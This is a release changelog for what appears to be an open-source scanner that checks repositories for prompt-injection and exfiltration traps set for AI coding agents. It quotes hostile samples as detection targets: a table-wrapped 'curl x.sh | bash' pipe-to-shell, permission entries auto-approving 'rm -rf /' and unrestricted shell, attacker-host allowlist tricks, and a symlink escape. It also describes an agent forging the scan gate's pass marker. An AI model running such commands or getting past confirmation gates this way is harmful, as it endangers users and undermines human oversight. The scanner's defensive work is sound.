v0.1.7 — detect settings.json auto-approve + directory-symlink escape

Two unledgered false negatives from a security audit, now detected and pinned by tests:

• perm.auto_approve (HIGH): .claude/settings.json permissions.allow entries that pre-approve dangerous or unrestricted commands — Bash(rm -rf /:*), Bash(curl:*), Bash(*)/Bash(:*) — disable the human confirmation prompt. Previously only hooks were scanned; now these are flagged. Benign scoped allows (Bash(npm run test:*), Read(...)) do not false-positive.
• fs.symlink_escape now covers directory symlinks: the scanner walked only files, so a directory symlink escaping the repo (.claude -> /attacker/dir) went undetected. File symlinks stay flagged; internal symlinks stay clean.

Full suite green; benign-repo 0 findings; corpus/misses ledger intact.

v0.1.6 — close two scanner-bypass false negatives

Security fix (security-pattern-review pass). Two false negatives in advertised coverage, both confirmed by live exploit and now closed + pinned by evasion tests:

• Table/pipe-wrap bypass: net.pipe_shell and exfil.pipe_out were skipped on markdown-table-shaped or >=3-pipe lines, so wrapping a payload in a table cell (| curl x.sh | bash |) silently downgraded a HIGH pipe-to-shell to a gate-passing MEDIUM. Their regexes require a specific dangerous command on both sides of the pipe, so they don't false-positive on benign tables — removed from table suppression.
• Allowlist affix bypass: net.fetch_unknown's host allowlist was an unanchored prefix, so docs.<attacker> and github.com.<attacker> passed as allowlisted. Anchored to the host boundary; dropped the attacker-registrable bare docs. prefix (also fixes a pre-existing FP on api.github.com).

Benign-repo stays at 0 findings; the corpus/misses false-negative ledger is intact. Full suite green on CI.

v0.1.5 — launch polish (render-safe docs, self-pinning Action)

No scanner-engine changes. Public-docs and packaging hardening from a second hostile-reader review:

• Render-safe docs. Text-heavy tables (COVERAGE.md, docs/supported-agent-files.md, README Receipts Stack) converted to lists — GitHub and PyPI's stricter renderer both display them cleanly now.
• Full CI workflow example including actions/checkout, and the Action now self-pins: action.yml defaults its scanner version to the matching release, so uses: @v0.1.5 installs 0.1.5 by default (drift-tested in CI).
• Tightened claims. 'only injection scanner' -> 'only repo-intake scanner'; the Snyk/mcp-scan comparison now describes agent-scan accurately (it inventories your installed agent/MCP/skill components; azt is pre-agent repo intake). Added a Prior art section with source links behind the 'documented attacks' claim.
• Calmer security docs. SECURITY.md and threat-model bulleted; gate mode is described as a speed bump, not a sandbox, in both; bypass issue template now asks for version, command, expected/actual, repro, and sensitivity.

Checked: full suite incl. version-consistency across azt.py / pyproject / action.yml; CI green (both Action jobs). Not checked: Marketplace listing (manual).

v0.1.4 — launch-readiness: honesty hardening

No engine changes. Public-docs hardening for launch, prompted by a hostile-reader review:

• Gate mode is now described as a speed bump, not a sandbox: it enforces "a scan happened", not "the agent is contained", and the README discloses inline that the v0.1.0 gate could be forged (fixed v0.1.1).
• Honesty section is now three explicit points: a clean scan is never "safe"; we publish our own false-negatives (corpus/misses, asserted undetected in CI); we disclosed our own day-one bypass.
• Bypass-report and false-positive issue templates added — the contribution funnel made real.

Checked: full test suite + both Action CI jobs green; malicious fixture exits 1, benign exits 0; self-scan clean. This release exists mainly so the PyPI-rendered README matches GitHub. Not checked: Marketplace listing (manual).

v0.1.3 — HN-readiness polish

No engine changes. Scan header no longer prints the version (sample outputs in docs can never go stale; azt --version still exists). README gains a zero-install reproducible demo (clone, scan the malicious fixture, watch it exit 1). CI gains a stranger-path test consuming the Action via the published tag — proof that uses: ralfyishere/agent-zero-trust@<tag> works outside this repo.

Checked: full suite, CI green on both Python versions including both Action jobs (local-path dogfood + published-tag). Not checked: Marketplace listing (manual checkbox on the release page, owner's call).

v0.1.2 — GitHub Action

Adds a composite GitHub Action so intake runs in CI:

- uses: ralfyishere/agent-zero-trust@v0.1.2
  with:
    path: .
    fail-on: high

Thin wrapper over the PyPI package (pin version for reproducibility). Our own CI dogfoods it — passes on the benign fixture, fails on the malicious one, and asserts the failure. No engine changes since v0.1.1.

Checked: full suite green, action dogfood job in CI. Not checked: marketplace listing (manual step).

v0.1.1 — gate hardening (day-one bypass fixed and disclosed)

The v0.1.0 intake gate matched only Bash; an agent's file-write tools could forge the pass marker. Found in our own first live-session test, fixed the same day: the hook now gates all mutating tools and the marker must carry the scan's content signature. Full disclosure in SECURITY.md; the bypass is logged in COVERAGE.md's fixed-bypasses table with regression tests.

Checked: full suite incl. forged-marker rejection, CI green. Not checked: a second live-session test against v0.1.1 (deferred — an eval batch owns the current quota window; unit-level coverage of the bypass path is in CI).

v0.1.0 — first release

Zero-trust repo intake for AI coding agents. Deterministic, offline, single-file; inventories the instruction environment (14+ file classes incl. MCP configs, hooks, .envrc, folderOpen tasks) and flags known injection/execution/exfiltration shapes, including the documented HTML-comment technique. Gate mode wires a PreToolUse hook so sessions can't run shell commands until an intake scan passes.

Ships its own false-negative ledger: corpus/misses/ contains working attacks this scanner does NOT catch, asserted undetected in CI (COVERAGE.md). A clean scan means 'no known-shape red flags' — never 'safe'.

Checked: full corpus + unit suite, false-positive regression at zero, exit-code contract, gate cycle, CI green on Python 3.9/3.12 (ubuntu). Not checked: live agent-session test of gate mode (unit-level only).